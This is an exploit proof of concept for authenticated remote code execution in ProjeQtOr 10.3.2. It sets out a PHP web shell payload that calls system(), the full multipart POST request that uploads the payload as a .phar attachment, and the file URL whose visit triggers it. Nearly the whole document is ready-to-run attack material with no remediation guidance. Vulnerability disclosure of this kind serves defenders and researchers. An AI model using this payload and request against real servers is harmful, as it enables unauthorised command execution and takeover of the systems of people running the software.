ProjeQtOr Project Management System 10.3.2 Shell Upload

`Exploit Title: ProjeQtOr Project Management System 10.3.2 -Remote Code Execution (RCE)  
Application: ProjeQtOr Project Management System  
Version: 10.3.2  
Bugs: Remote Code Execution (RCE) (Authenticated) via file upload  
Technology: PHP  
Vendor URL: https://www.projeqtor.org  
Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.3.2.zip/download  
Date of found: 19.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
Possible including php file with phar extension while uploading image. Rce is triggered when we visit again  
  
Payload:<?php echo system("id"); ?>  
  
poc request:  
  
  
POST /projeqtor/tool/saveAttachment.php?csrfToken= HTTP/1.1  
Host: localhost  
Content-Length: 1177  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
Accept: application/json  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY0bpJaQzcvQberWR  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
sec-ch-ua-platform: "Linux"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/projeqtor/view/main.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: currency=USD; PHPSESSID=2mmnca4p7m93q1nmbg6alskiic  
Connection: close  
  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentFiles[]"; filename="miri.phar"  
Content-Type: application/octet-stream  
  
<?php echo system("id"); ?>  
  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentId"  
  
  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentRefType"  
  
User  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentRefId"  
  
1  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentType"  
  
file  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
10485760  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentLink"  
  
  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentDescription"  
  
  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentPrivacy"  
  
1  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="uploadType"  
  
html5  
------WebKitFormBoundaryY0bpJaQzcvQberWR--  
  
  
  
  
visit: http://localhost/projeqtor/files/attach/attachment_5/miri.phar  
  
`